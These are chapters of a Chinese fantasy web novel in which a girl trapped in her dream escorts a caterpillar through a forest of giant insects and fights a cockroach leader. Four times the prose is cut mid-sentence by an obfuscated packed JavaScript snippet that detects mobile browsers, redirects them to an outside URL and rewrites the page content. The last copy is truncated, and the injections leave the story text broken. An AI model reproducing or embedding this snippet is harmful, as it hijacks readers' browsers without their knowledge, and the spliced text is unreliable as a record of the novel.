见状,幽夜沉思片刻,道:“既然如此,森林之南有一处南塘湾,温度湿度适宜,不如就到此处筑巢化茧,如何?” 听到这个地名,青凤的状态有些异常。青凤自然知道南塘湾,这是它最初的目的。可一路天敌众多,尤其蟑螂大军肆虐纵横,躲躲藏藏间,化茧期逼近,不得已停下脚步择了处还算凑合的地搭窝。 幽夜继续说:“你还有七天化茧,此番到南塘湾将近三百里,时间赶得及。” 青凤有些犹豫,南塘湾虽好,可自己天敌实在太多,这后半段路程尤其,就怕地儿还没到,那个不靠谱的人类就先被/干掉,那自己也没法活了。 “可以!我接受!”海旗赶紧答应。 不就是暴走七天嘛,不在怕的。 星星抹干眼泪,提醒了一句:“途中可能会遇到刚刚那群大蟑螂的。你的精神力能一直够用吗?” 差点忘了这个,刚刚逃命紧急研发的瞬移异空间的保命招式,就是被幽夜破坏了的。 海旗转头向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586000|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽夜打商量:“那个……幽夜,你下次可以不要在危急关头把我拉回来吗?”也不管对方能不能听明白。 幽夜笑了笑:“你和我做好朋友,就可以。” 这是威胁了吧?这绝对是赤/裸裸的威胁!谈条件也不是这么谈的啊! 海旗眼疾手快地捂住星星的嘴,说:“呵呵……好啊。”这下想不答应都不可以了。 幽夜再次俯身靠近,两人隔着极近的距离,心脏都快跳出来了。 “那等你护送完青凤,到我的翠影窟来,可好?”幽夜吐了吐蛇信子,兴奋且期待。 “当然啦我会去的!”不顾星星的挣扎,海旗马上答应。 “好,我等你来。” 而后,蛇影撺动,消失在翠绿之间,耳边还回荡着幽深的笑声,听起来好像很高兴? 最大的威胁消失,周围目前也是安全的,海旗一松懈,星星立刻满血复活:“妈呀,那么大一条蛇真的吓死我了。海旗!你刚刚为什么要答应他!” 海旗:“你在背后说人家坏话要是被听见了回来找你算账我可救不了你哦,他对你好像很感兴趣呢。” 星星赶紧把嘴捂上了。 海旗作出解释:“而且我要是不答应,下次再遇到危险,我们好不容易有方法获救,然后又像刚才那样被他破坏那个空间,直接送入蟑螂口,那不是有苦都说不出?我现在对我自己能做什么还没有概念呢,唯一开发出来的一个技能我当然得保住了。再说了,朋友而已,又不是男朋友。” “你说得也有几分道理。”星星很快就被说服了。 那么接下来就是怎么去南塘湾了。 见青凤在一旁蔫了吧唧的样子,海旗套近乎道:“诶,原来你叫青凤啊,名字还挺好听的。” 青凤一脸不爽:“干嘛!” 海旗问:“你干嘛一脸不开心的样子?去南塘湾不好吗?” “你懂什么?南塘湾当然很好,但是去南塘湾的路不好!”青凤深深叹了一口气。 海旗:“那你详细说说呗,我们制定一下计划就马上出发,保准不耽搁你一分钟!” 青凤又叹了一口气,确实也没别的选择了,说:“从这里去南塘湾,有三条路。左边走出去沿着河流一路南下,但途中有蚂蟥、□□、苍蝇等巢穴;左边不沿河流走内地也行,不过要走山路,还有蝎子、蜈蚣军;右边的路最近,但敌人也最多,蟑螂军的老巢就在那边,还有螳螂、蝗虫、蚂蚁大军不等。” 海旗问:“最近的路有多近?” 青凤答:“三百里。” 海旗反问:“不对吧?另外两条路难道不止三百里吗?” 青凤答:“对呀,绕来绕去至少走多一百里。” 星星说:“压根不给我们选择的机会啊。” 青凤答:“虫主的意思就是让我们走右边的路去。顺带一提,虫主的洞窟也那边。” “……哦。”难怪叫她去做客呢,这是真顺路。 海旗思考了一下路途,作出决定:“我们走水路。花点时间做个木筏,顺流而下不是更快吗?” 偏不按虫主的意思走。 青凤惊呼道:“走水路?那可是最远的!你认真的吗?” 海旗自信满满道:“开玩笑,姐的地方姐做主!你就看我怎么把这条路变成最近的。休息十分钟,准备出发!” 青凤想反驳但又无力反驳:“算了算了,反正要出什么事了虫主肯定会来救我的。” 星星凑过来:“你真的有办法将路途最远的水路变成最近的?” 海旗老实道:“还没有,但我有点矛头了,先容我想想。再不济到时候随机应变,总会有办法的。我就不信我的梦里我还做不了主了。” 7. 意识体与梦核与中心殿堂 星星无奈:“可是现在你确实做不了主啊!” 海旗疑惑:“为什么?话说刚情况紧急都被打断了,你还没将一切解释清楚呢。正好这会儿有空,你快把所有都一五一十地交代了!” “好啦好啦,我给你捋一遍思路你就明白了。” 根据星星先前所说,海旗如今所在的世界是以她的自我意识构造的,即梦境。这个空间发生的一切,包括所有出现的生物、非生物,皆与海旗本身相关。 而海旗这个个体的存在也是梦境中唯一的真实。 这些梦境空间因“海旗”而生,“海旗”本身就是维持梦境的核心力量。 为了确保梦境空间的运行,本人当然不能缺席。为此从核心中分化出一部分灵魂作为意识体游走于各个空间。意识体不止一个,它会变成任何海旗本人想要成为的事物。 一个意识体将开辟一个新的梦境空间。也就是说,原先看似正常轨道拥有幸福家庭、美好高中生活的世界,以及现在的巨虫之森,都只是众多梦境空间的其二而已。 而现在的海旗,也是所有意识体中唯一拥有自我,能在梦境中清醒的。 意识体一旦在梦境中死亡,现实的躯体也将死去。若一直深陷梦境之中无法清醒,那么现实的自己也无法活下去,将一直陷入沉睡,直到睡死过去,实际是身体一直沉睡缺水缺粮然后渴死饿死的。最坏的情况是灵魂被梦魇收割,堕入深渊。那么“海旗”这个人将从现实世界中消失,被世界遗忘。 而唯一能拯救自己的办法,就是在每一个梦境空间中找回自己的意识体,去往中心殿堂,寻回作为承载体的核心,然后彻底瓦碎这片混沌,方能寻回真正的自己,从现实中清醒过来。 海旗捋顺思路后发问:“我需要找到几个意识体?” “全部。” “那是多少?” 星星想了一下:“……不知道。” 海旗又问:“那我要怎么找到我自己的意识体?” 星星还是摇头:“不知道。” 海旗猜测:“应该可以共鸣之类的?怎么说都是我自己。” 星星思考了一下可行性:“……我也不能确定,反正等你遇到的时候,你就知道了。” 海旗:“哦……我还想问,我是因为什么陷入梦境中醒不过来的?” 这是一个很关键的问题,是所有事情的起因。只要知道一切的开端,那么答案也更好找了。 但是,事情往往是不会那么如意的。 星星说:“我也不知道,你只能自己去找答案,去中心殿堂。而要去往中心殿堂,只能找齐所有意识体才能开放。” 那没辙了,一切皆是未知数。无论是前因后果的虚幻,还是现实世界的真实。所有的一切都被搅成一团,只能靠自己慢慢分辨。 这将是一场拥有任何可能性的探索,是一场向往已久的冒险。想到这里,心里涌起紧张与期待的情绪,憧憬许久的梦想终于得到实现,不免热血沸腾,干劲满满,初生牛犊不怕虎。全然忘记了上一秒刚经历过什么生死。 前方路途也许很危险,但我此刻什么也不怕,我做好准备出发了。 星星坐在上方的细枝条上,小脚丫晃晃荡荡,抬头仰望蓝天白云,暖暖的阳光透过树缝撒在它脸颊的鳞片上,好不惬意。 “我有预感……” 海旗:“嗯?” “快变天了!我们还是快出发吧。”说完星星就飞出树丛,“我先去空中侦察一下路线。” 会飞还是很方便的,要是她和青凤都会飞,那就可以直接飞去南塘湾了。不知道能不能研究一下。 海旗跟着一抬头,这才有了时间概念。只见太阳高高挂起,看起来是午后时分。大白天惊现凶残的蟑螂大军,果然也就在梦里能实现了。 这一刻也忽然有些释怀,至少她上一个空间的至亲好友不用跟着她被吓唬,尤其是徐蕊,她最怕的就是虫子了。 不过这大太阳看着也不像要下雨的样子啊? “是要下雨了,你这只小东西还有点实力。”青凤撇撇嘴。 海旗:“青凤,你认识路,你在前面带路呗。” 被人类叫了名字,青凤不爽地先行蠕动着下树,但又想到接下来还得靠她护送,就只说了一句:“别跟我那么近乎!” 接下来一人一虫一精灵还得共处至少七天,海旗也不想为自己找不痛快。她说:“你不要那么大气性嘛,我人很好的,真的!你看我意识到错误了我也没有逃避,立刻就道歉赔偿了对不对。化茧期对你不是很重要嘛,你更应该开心一点啦,不然成蝶后会不好看的哦。” 青凤回头看她:“你怎么知道我要成蝶?” 海旗蒙了一瞬:“怎么了?这不是常识吗?” 青凤愤懑地瞪了一会儿,然后扭开头也不理人了,浑身写满“老子很不爽”几个大字。海旗不知道哪里又惹到它了,还是闭嘴保持安静吧,不要把难缠的东西招惹来了。 可能这就是种族差异吧,梦里也有属于自己的代沟呢。 爬下树后,星星也侦查回来了,确保了周围暂时是安全的,蟑螂大军没有回头。 森林的巨树长势过于茂盛了,天空成了浓郁的葱绿,几乎见不到阳光。树与树之间长得很密,根系大多在地面突兀丛生、盘根错节,路并不好走,海旗走在树根上显得十分渺小。树荫下很是潮湿阴暗,突然就明白了这里为什么是巨虫的天堂。因而完全没察觉天是什么时候阴下来并开始下雨的。 这时,海旗又后知后觉地问:“按理来说,巨虫之森里也有我的意识体对吧?” 星星小小只的在森林中完全没有存在感,所幸不自己飞了,趴在海旗肩上。 “对呀。可能是众多虫族中的一员,可能是其中一棵巨树,也可能并不是动植物,只是个小石头。只要在这片森林中。” “额……”这岂非大海捞针? 海旗又问:“那有时间限制吗?比如我要在多少天内必须找到,否则我将无法寻回自我?” 星星说:“应该是有的。要么被梦魇吃掉之前?要么现实的躯体被渴死饿死之前。” 海旗常识里的梦魇,是人在焦虑、抑郁、压力大等因素下做的噩梦,同时还会伴随生理上的不适症状。但星星所说的明显不是一样东西。 “梦魇,是梦境的衍生物吗?为什么会吃掉我?” 星星摇头:“我也不知道。” 滴答滴答……不知何时雨水透过枝叶的缝隙落下来,隐隐伴随着电闪雷鸣。 青凤在前面躲在一棵树后,十分小心谨慎地用它的触角侦查前方。据它所侦测,大约十棵大树远的位置有一处巢穴,但是巢穴中是何虫族还不得而知。 像青凤这种胖胖的小肉虫,在巨虫之森里就是食物链的最底端,除了食草的几乎都全是天敌。听它和虫主的对话,它们一族或许就被吃剩几只了。 所以一路上青凤最是小心谨慎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586001|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一棵树一棵树的躲着移动,每一次挪脚都要确保百分之百的安全。 森林潮湿,身上的衣服本就被氲湿了大半,现在更是直接被雨打湿透了,湿答答的黏在身上,好不舒坦。 忍了半天终于是受不了,所幸将宽松的病号服脱下拧干。趁着青凤仔细侦查期间,捡了块尖锐石头将其撕成条,给自己缠在身上做成紧身款。就是布料有限,只够缠住隐私部/位和容易受伤的腹部。反正这里没有人,就算裸着恐怕都没虫想多看两眼。 “你这样容易吸引虫,尤其是蟑螂,这细皮嫩肉的它们最爱了。”星星好心提醒道。 海旗已经接受了现下的状况,还捡了一支粗壮的木棍充当防身武器。想了想那个尖石头也别浪费了,牺牲了一小节布条给捆在木棍上。 “没事,我这样比较舒服。而且我现在感觉自己精力充沛,来一只我能打飞一只……青凤,你怎么掉头了?” 青凤扭着个大身板一脸严肃道:“前方十分危险!不掉头会死很快。” 星星想了一下:“我飞上去看看情况。” 按青凤提供的路线,这条路是最远的,因此她们并没有太多的时间可以耽搁。若是看到一处天敌巢穴就要绕路走,那得猴年马月才能到达南塘湾? 别说南塘湾了,河道边可以都走不过去。 现在海旗最要紧的,就是赶快解决完对青凤的赔偿,她还要去找自己的意识体。两边都不能耽误。 星星很快回来了,汇报了情况:“前面是蟑螂大军在端□□巢呢!” 应该是之前被虫主吓跑的那群,跑去残害其他虫了。 “□□!?蟑螂吃□□吗?” 我了个倒反天罡!梦里果然是没有逻辑的,还是需要尽早适应才行。 星星回到海旗肩膀上,一脸惊魂未定地捂嘴点点头,显然是看到了什么残忍场面被恶心到了。 “所以我们还是绕路吧。”青凤说完就要去侦查另一个方向。 海旗却不赞同:“不行!绕路的话太耽搁时间了,我们不能一直绕路的。想想办法怎么过去吧。” 青凤一听就发火了,但又碍于怕被不远处正在残食的群虫听到,压着声音说:“不绕路你是想送死吗?我宁愿在半路上另外择一地筑巢化茧我也不要被蟑螂分食掉!” 送死当然谁都不乐意,但是一直逃也不是办法,更不是海旗的作风。 海旗说:“你一路都躲躲藏藏过来的吧,躲着虽然安全,但森林里到处危机重重,躲得了一时躲得了一世?就算你躲到成功化蝶了,你能保证不会一破茧就被吃掉了?不管是做人还是做虫,遇到事情了要向前看,寻找解决的办法,而不是退缩逃跑。你实力不行可以借助外界工具想办法创造一条路嘛,这点你还是得跟我们人类学学。” 星星点头表示赞同。 “谁管你们人类咋想的!你还质疑我了,我那么多年摸爬滚打的经验凭什么就要被你否定,而且这一路我才是主角,当然要听我的……” 青凤怒气冲冲还没说完,很快就被海旗打断了:“诶!有了。星星你帮我回怼一下,我去视察一下情况哈。” 然后不管青凤是什么表情,抓着木棍就跑出去了。 等人回来时,身上插了一堆作为掩饰的枝叶,脸上手上等露出来的皮肤都糊上了泥巴,还有一股怪味,熏得星星捏着鼻子躲远了。最最关键是身下还骑着只绿色的大□□? 不对,这个绿色……好像是青蛙! 8. 跳不比走得快? “呱呱~” 大青蛙眨巴着两只大眼睛,歪着头盯着青凤。而后者扫了一眼就光速躲到树后去了,唯恐下一秒有什么长长的东西伸出来卷走自己。 “啊——离我远点!你带回来个什么东西啊!?” 星星也佩服地给她竖起大拇指,绕着大青蛙飞了好几圈,真诚发问:“厉害了我的姐!怎么做到的?” 海旗挥挥手:“哎,不用太崇拜我,略施小计而已。”而后娓娓道来。 因前面危急时刻控制意念完成了一次瞬移逃生,海旗就想着,既然这是在自己的梦中,那么是不是也可以做到遵循主人意识而做出某种改变。 前面为了逃生,第一时间想着逃离当下的环境,去哪没关系,能脱难就行,最后成功了。虽然无法做到大范围地改变,但是也够用了。 在海旗的印象里,□□不属于虫属,而且还是以昆虫为食的才对,不可能被蟑螂蚕食。所以海旗利用这点,希望扭转□□的观念,让它们回忆起正确的本性。 果然也做到了,由小范围开始觉醒意识,反过来去啃食蟑螂群,最终扭转局面。 这一步成功得还有些离谱。海旗在其中发现有些外形也做出了改变,满身黄疙瘩变成光滑的青皮肤,这不就是青蛙? 海旗是躲在暗处动手脚的,但还是被其中一只格外敏锐的大青蛙发现了。将这队蟑螂吃干抹净后,它作为代表来找到她。一番交涉后,蛙哥确认眼前的是救命恩人,提出要做点什么报答恩人。 海旗想了想,提出让它护送她们前往河道。 对大青蛙来说,河道不远,而且它熟悉路途,可以带领恩人绕开危险并快速抵达。对于海旗对它们一族的帮助,它能做得简直微不足道,自然愿意答应。 星星举手给大青蛙点了个赞:“蛙哥,你可太真性情了!” 蛙哥憨憨地呱了声:“嘿嘿,是我该谢谢恩人才对,否则我们一族的小蝌蚪都要被吃掉保不下来。” 原来这群蟑螂早已经来进攻多次了,它们仗着数量优势,到处欺压其他虫类,在巨虫之森就是虫虫喊打虫虫厌恶的对象。 海旗很谦虚地说:“举手之劳而已啦,以后你们就不怕那些蟑螂了,它们再敢来,就是给你们送口粮的。” 然后又给蛙哥介绍两位同伴:“这只小小的叫星星,那个躲起来的是青凤,它胆子有点小,别介意啊。然后它们俩都不能吃哦!” 青凤闻言哆嗦了一下,星星也干笑着默默飞远了。 蛙哥给它们点头打过招呼,海旗就说:“好了,咱们时间紧迫,马上出发呗。青凤你害怕的话跟在蛙哥身后就好,别跟丢了哦。” 青凤刚探出个头来想辩驳两句,就看海旗拍拍蛙哥的头,一个转身就往自己方才接收到不妙的信号的方向前进了。 “喂!我才是主角!我才是主角啊!你这个人类私自做什么主?蹦那么快干什么!别丢下我啊!等等我!” 海旗骑在蛙哥背上,回头看它:“时间不等人也不等虫,你再慢一点等下被什么虫找上来可就不好了。” 青凤被一吓唬,果然蠕动得更快了,很快就追上来和蛙哥并线行走。蛙哥比青凤还要大一圈,两只庞然大物一蠕一跳的,真是绝美好风景。 有了蛙哥代步,她们的路程快多了。一路走到天黑,雨势也不见小。这里的夜晚阴暗可怖,没有一丝光亮,是真正伸手不见五指的程度。 天黑没多久,青凤就提出:“我们得找个位置休息,最好是树上,比较安全。而且我也饿了。” 海旗跳下来环顾四周,虽然黑漆漆地也看不见啥。就近选了一棵看起来比较顺眼的树:“确实,那就这棵吧,大家是要休息一下。” 青凤担惊受怕了一路,立马蛄蛹着爬上去了。海旗还想问蛙哥能不能爬树,结果下一秒它也很顺溜地上去了。 星星飞到一半看海旗没有动作,又往下来问她:“你怎么不动?上去啊?” 海旗无奈道:“不是我不爬,主要这树干太粗太直了,能落脚的树杈都在很高的地方。我不太会爬这样的树……” 万万没想到在这里犯了难,星星沉思了两秒:“要不……我拉你飞上去?” 海旗不太放心:“你……行吗?” 星星弱弱道:“我感觉不太行……” 谁知下一秒,一道闪影从树梢的位置飞下来,然后卷起海旗就拉上去了。 “诶!”发生什么了? 星星被撞到海旗怀里,晕乎乎的一起被带上去了。 被卷上去后重重摔在一处比较宽敞平坦的树杈上,身上除了摔得很痛之外,周围并没有其他危险的感觉了。 海旗摸了一把腰上,湿湿黏黏的手感有点熟悉,有一股青凤的口水味,出奇的还有一丝清香的味道。 黑暗中传来啃食树叶的声音,待眼睛完全适应黑暗之后,终于看到上方一团正在欢快吃东西的黑影——是青凤。 蛙哥在对角的位置已经闭眼休息了,想来是吃了不少蟑螂还没消化完呢。 海旗问:“青凤,是你拉我上来的吗?” 青凤停顿了一瞬动作,然后继续啃食,还是不理人。但海旗已经有答案了:“谢谢。” 森林的夜晚并不安静,拥有黑夜习性昆虫的生活才刚开始。地面的不远处隐隐有星光闪烁,像是萤火虫的光芒。不过光点很是微小,看起来并没有巨虫特征。 难道深林里也有正常认知体型的虫类吗? 除了萤火,夜晚此起彼伏的虫鸣也开始了。海旗分辨不出都有什么虫,吵闹得很有章法,不难听。看来没有因为身体的巨大而改变美丽的声线。 它们以森林为舞台,星夜为背景,水珠滴落的嘀嗒声为伴奏,萤火闪烁的光芒为节拍,奏响生命的乐章。 海旗趴在一处稍微倾斜的树杈上看得痴迷,身体一放松就感到疲惫。随着乐章起伏,脑海中仅有的记忆让他想起上一个空间的童年。 小学暑假时和爸妈回村,经常半夜趁父母睡了叫上海珀一起偷跑出去田里。月光照耀下,稻田长势茂盛,夏天的夜晚虫鸣不断,萤火虫飞舞。就像今晚的森林。那时的夜空明亮动人,抬头就是星河满目。两个小家伙在田里摸黑抓鱼虾,抓蚱蜢,还抓了一矿泉水瓶的萤火虫。还没玩尽兴就被爸妈起夜时发现不见了人出来找,将两人打骂了一顿。 海旗就这么在回忆中被催眠了。 按理来说,现在的自己已经身处于梦境之中,应该不会再做梦中梦了吧?不然就卡bug了。 但是在被“嘶嘶”声吵醒之前,海旗脑海中还是残留了梦里在稻田里与海珀玩闹的印象。揉着杂乱的头发发懵,眨着迷离的双眼寻找吵醒自己的声源,发现此时的森林还是一片黑暗。星星敞开怀睡在自己旁边,蛙哥和青凤在对角线的两头睡得酣然,还有呼噜声。 森林的虫鸣还没停下,节拍器已经去休息了,并没有什么突兀的现象。 那奇怪的声音是从哪儿来的?听起来还很像蛇吐信子的“嘶嘶”声。 四周看了一圈后原本要躺下继续睡,结果脖颈处硌到了什么凉凉的、坚硬的东西,直接被吓清醒了。刚刚睡得时候还没有东西的! 还后知后觉地想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586002|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她们在这么危险的地方过夜,怎么忘了商量着轮流守夜了?大家睡得也太安心了点!没有被奇奇怪怪的虫发现并爬上来吃掉,那真的是福大命大了! 还在各种内心戏后怕之时,好像有什么东西顺着腰在往自己身上爬……隔着布料是冰冰凉还硬硬的,像是蛇的触感。 蛇! 对啊!星星说了,长虫也是虫!而且现在这一片绿油油温度适宜的,又不是冬天,蛇包活跃的! 我也怕蛇啊……怎么办!? “海旗在怕我吗?” 就在这么想时,一道低沉且充满魅惑的熟悉嗓音从左边肩膀传来,同时伴随着嘶嘶声。 海旗缓缓转头,看见了趴在她肩膀上悠闲地吐着信子的三角墨色蛇头,又低头见其纤细的蛇身顺着她的腰绕了有两三圈,蛇尾贴在右腿上。 这条蛇其实应该是墨绿色的,只是黑暗将一切都吞成了黑色。 “……虫主?”海旗试探着叫出声。 小蛇听到海旗这么叫,似乎不大高兴,扭头松开力道爬离了自己的身体。 “……” 海旗不知道要不要将他叫回来。 叫回来折磨自己,不叫回来又怕他以为自己不跟他做“好朋友”了,下次背刺她,受折磨的还是自己。这不根本没得选嘛! “那个……幽夜?你怎么在这?” 小蛇一听冷不丁又回来了,海旗忍住恐惧伸出手让它缠上来。幽夜说:“七天太久了,我不想等。” “那你……怎么变成这样了?” 毕竟先前他那么巨大的身躯,威慑力十足。现在居然变成一条正常大小的毒蛇了。 那双金童在黑夜里炯炯有神。幽夜反问:“你不喜欢吗?” 海旗眼神闪烁,嘴硬道:“我……还行吧。” 幽夜不说话了,一人一蛇对视良久,直到幽夜率先扭头走开,爬到旁边的树枝上缠着,闭上眼不知真寐还是假寐。 海旗乐得他离开不搭理自己,也不继续睡了,打算自己把后半夜守了。 缝隙中投下第一道五彩的光束时,青凤已经睡醒在享用嫩叶了,蛙哥跟在她之后醒来率先下树,说要回去附近捕食顺便收集露水,回去时带给孩子们。好顺道问了要不要给海旗带食物。 海旗头摇成了拨浪鼓,一是在梦里没有饥饿的感觉,二是不吃虫子,什么虫都不吃! 随着天光愈亮,海旗也发现在她们休息的这片小区域上,被一团白色丝线稀稀拉拉地包了个圈保护着。 自己腰上也有缠留同样的白丝,立马明白了这是青凤的手笔。 想想也对,青凤一路贪生怕死要防各路天敌,怎么会心那么大不做任何防护就呼呼大睡。 看来自己的担心有些多余了。 蛙哥很快回来了,她们也收拾完毕整装待发。下去前海旗抬头看了一眼幽夜待着的位置,他不知道什么时候已经走了。 星星还睡得很熟,海旗没有叫醒它,抱着骑上蛙哥的背出发了。 蛙哥嗅了嗅空气中的水汽,判断道:“今天就可以到达目的地了。” 一旁紧跟脚步的青凤听完一脸鄙夷,但又不敢开口争辩。 海旗说:“麻烦你一路护送了。蛙哥你刚回来得挺快的,还没吃什么东西吧?我记得青凤不是说这条路上有苍蝇军吗?离得远吗?咱们请蛙哥饱餐一顿吧。” 青凤:“……再有两小时吧。” 蛙哥的肚子应景地响了起来,不好意思地“呱呱”叫:“那我就不客气了。”说完就加快了蹦跳的速度。 青凤:“!” 9. 人螂大战! 越是靠近河流的区域,筑巢的虫也越多。幸好靠着蛙哥的□□气味被震慑住了不少。 不过今日好运还是很快就到头了。 刚走没多久,遇上了为争夺地盘而爆发的乱斗,能看出来的虫有三四种:花斑蚊子、绿头蝇、蜈蚣和蚯蚓等! 总之分了会飞的和钻土里的两派。会飞的从空中发动下落攻击,钻土里的立马缩头,留在地面的配合拉会飞的下来,再蜂拥而上一顿殴打。还滞留在空中的不服气,趁着底下围成一团,俯冲下去围殴困在中圈的。配合得是密不可分,好生默契。让人不忍打扰。 其实就是斗争过于激烈,强行突破的话不太可能,只能另外择路绕开。 刚绕开这边,拐个弯又迎面撞上了横行霸道的蟑螂群在欺负蝗虫家族,地上、树上被溅上了绿色血液,不少圆锥形的蝗虫脑袋滚落一地,明显被嫌弃口感吐掉了。 这些大蟑螂还怪挑食的咧。 其中一只尤为健壮的大蟑螂,手里拿着一只美味蝗虫,正咧开口器咬了一口嚼得嘎吱脆。嚼完后不紧不慢地回头,那双复眼对着她们一顿扫视,肉眼可见地亮了。 “哟~这不是昨天没捕上的营养品嘛,送上门来了?” “大哥,还带了个蛙!”其中一只看起来也很见状的螂小弟补充道,“刚好没吃饱。” 青凤是最害怕这种场面的,愣了一会儿终于高声尖叫四下逃窜:“啊——” 螂群立刻动身包围她们。 海旗抱着呼呼大睡的星星,跳下蛙哥的背轻声叮嘱了一句:“蛙哥你先走,回去照顾好小蝌蚪。剩下的不用你了。” 蛙哥本来还想说什么,听她提到后代们,心下一软,也无法坚持要留下来,在包围圈即将成型前跳出去了。 见蛙哥突破,一部分螂小弟立马追了上去。 寡不敌众,多一个蛙哥也不一定能得救,还不如让它回家呢。蛙哥本事不小,希望那几个臭蟑螂能成为它的盘中餐。 海旗来到青凤身边,拍拍它的大脑袋,说:“别乱动也别尖叫,冷静一点。别把自己的软肋暴露给敌人。” 海旗看似冷静,实则内心也很恐慌。加上星星也不知道怎么了,睡得很沉,怎么都叫不醒。只能靠自己冷静下来,所幸还有保命的招式在,心里多少有点底气。 青凤整个虫身抖得快摇起来了,但还是听进去了海旗的话。这个人类虽然它不喜欢,但一次被救,还收服并得到蛙哥帮助,不得不承认她是有点实力的。 头螂吃完手里的蝗虫,极具威慑力地一步一步走来,头还左歪歪右扭扭地盯着她们,口器时不时如蛇吐信子般略略略地舔嘴,不放过一点残渣。 海旗缓步挪到前面,将星星暂交给青凤。青凤颤颤巍巍地用前足接过后,海旗拿出防身木棍摆出战斗姿势,将它们护在身后,用最大的声音吼道:“你你你站住!你你你别过来!你你你你想干什么!” 企图通过此方式震慑头螂,但显然没用。 头螂动了动几乎看不见的鼻子,嗤笑道:“哟~好香啊!你一定很好吃。老子好久没吃过人了!” 话音刚落,只见它头部立马四分五裂开,长长的口器往海旗的脑门子飞驰而来! 生死关头,海旗立马集中精力想依法炮制昨日瞬移到异空间去避难。 口器下一秒就要转入脑子了,眼前情景却毫无变化。海旗只能操起手上的木棍,一个用力将其打偏。头螂吃痛立马缩回脑壳,缓了一下后伸出来拿前足轻轻碰了一下被打到的位置,一副难以置信的模样。 见头螂挨打,周遭的群螂蠢蠢欲动,想直接扑上来将海旗啃食了。 “挺野啊,小丫头!”头螂抬手制止了群螂的躁动,气焰嚣张道:“弟兄们,这女人老子看上了!势必吃了她!” 其实海旗心里很没底,不知道是不是高度紧张的环境才让她没能成功启动瞬移保命。虽说用尽全力将口器打回去了,手都还在颤/抖。 她没法保证再来一次还能反击躲过去。 但说出口的话依然嚣张:“姐姐我才不怕你呢!想吃我?来啊!” “有意思!”头螂将身子匍匐在地上,背后羽翼颤动,摆出一副进攻的姿态。 还没看清发生了什么,海旗整个人飞出去砸在树上,又掉下来摔在地上。头螂的位置只剩逐渐消散的残影,可见方才那一下速度有多快。 血腥味涌上喉咙,咳了一/大口血。腰间传来剧痛,鲜血喷涌。 危急关头,海旗将木棍挡在身前缓和了攻击,否则那一下恐怕要被头螂立起倒刺的口器拦腰斩断。如今防身木棍被口器卷着,轻蔑地丢到一边。 “啊~”头螂被人血刺/激得有些疯狂,仰天长啸,将血液一舔而净,满脸陶醉,“果然美味至极!‘吸溜’你的肠子一定也很好吃~快给我!”话毕又疯狂地飞出口器想再来一下。 海旗已经浑身无力躲不过去。 可她不服!她绝不允许自己死在这只变/态蟑螂嘴里!为了这点尊严,无论怎样都要拼了命活下来。 “操/你丫的!” 海旗抹掉嘴角的血,嘶吼着将扫过来的口器异常准确地抓在手里,不顾双手被倒刺刺穿的疼痛,以不愧是梦里才有的bug、无视受重伤的身体、使出超乎常识的巨大力气、拽着头螂的口器绕过树干猛地一甩、带动头螂巨大的身躯、往一块大石头上狠狠砸过去。 原本瑟瑟发/抖的青凤直接惊呆了,这也太厉害了!怎么做到的? 不过头螂个头大体型健壮,外壳坚硬,这么一磕并没有给它造成多大的伤害,反而将其惹怒了。 只见它爬起来后,一把将被海旗抓住的口器扯断,随手抓了旁边一只螂小弟,将它的口器扯出来拼接在自己的伤口上,一条新的口器愈合了! 这是作弊吧? 一次是巧合,两次是回光返照,海旗无法保证这样的反击还能再来第三次。她继续尝试瞬移的逃生之计,很快就确定了,压根没用! 莫非这还是一次性技能? 没辙了。 “青凤快跑!兵分两路!” 海旗吼了一声捂着伤口转身就跑,青凤反应很快立马蠕动着往另一个方向跑。 刚才被打飞时螂群让出了一条道让她自由地飞翔,如今也成了逃生的唯一出口。头螂怒气冲冲地又仰天嚎叫,小弟们立刻领会去追大青虫,自己则往海旗的方向快速疾行。 青凤不愧是逃跑专业户,跑得快,脑子也好用,带着螂小弟们东绕西跑,愣是甩开了。 反观海旗这边,求生欲拉满,肾上腺素猛供,忍着痛还算灵活地躲过了几次攻击。她一边躲一边观察四周,寻找一切能利用的东西拖住头螂。 越是靠近水源,植被也越茂盛。不远处恰好有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 